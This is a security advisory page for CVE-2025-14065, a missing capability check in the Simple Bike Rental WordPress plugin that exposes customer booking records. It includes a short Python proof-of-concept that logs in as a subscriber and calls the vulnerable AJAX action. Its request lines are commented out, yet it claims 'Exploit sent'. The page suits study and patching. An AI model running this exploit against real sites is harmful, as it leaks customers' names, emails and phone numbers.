Security Vulnerability Report
中文
CVE-2025-14065 CVSS 4.3 MEDIUM

CVE-2025-14065

Published: 2025-12-12 12:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Simple Bike Rental plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'simpbire_carica_prenotazioni' AJAX action in all versions up to, and including, 1.0.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve all booking records containing customers' personally identifiable information (PII), including names, email addresses, and phone numbers.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Simple Bike Rental插件 <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-14065 PoC - Simple Bike Rental Plugin Unauthorized PII Access # Target: WordPress site with Simple Bike Rental plugin <= 1.0.6 def exploit_simbike_rental(target_url, username, password): """ Exploit for CVE-2025-14065 This PoC demonstrates how an authenticated user with Subscriber role can retrieve all booking records containing customer PII. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Note: Add cookie handling for WordPress login # session.post(login_url, data=login_data) # Step 2: Exploit the vulnerable AJAX endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'simpbire_carica_prenotazioni' } # Send malicious request # response = session.post(exploit_url, data=exploit_data) # The response contains all booking records with PII: # - Customer names # - Email addresses # - Phone numbers # - Booking details # print(response.json()) return "Exploit sent - check response for leaked PII data" # Usage example # target = "http://vulnerable-site.com" # exploit_simbike_rental(target, "attacker", "password123")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14065", "sourceIdentifier": "[email protected]", "published": "2025-12-12T12:15:46.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Bike Rental plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'simpbire_carica_prenotazioni' AJAX action in all versions up to, and including, 1.0.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve all booking records containing customers' personally identifiable information (PII), including names, email addresses, and phone numbers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-bike-rental/tags/1.0.5/includes/ajax.php#L137", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-bike-rental/trunk/includes/ajax.php#L137", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3414692/simple-bike-rental/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/06f4e758-3328-4ac1-956a-cfadddd12e53?source=cve", "source": "[email protected]"}]}}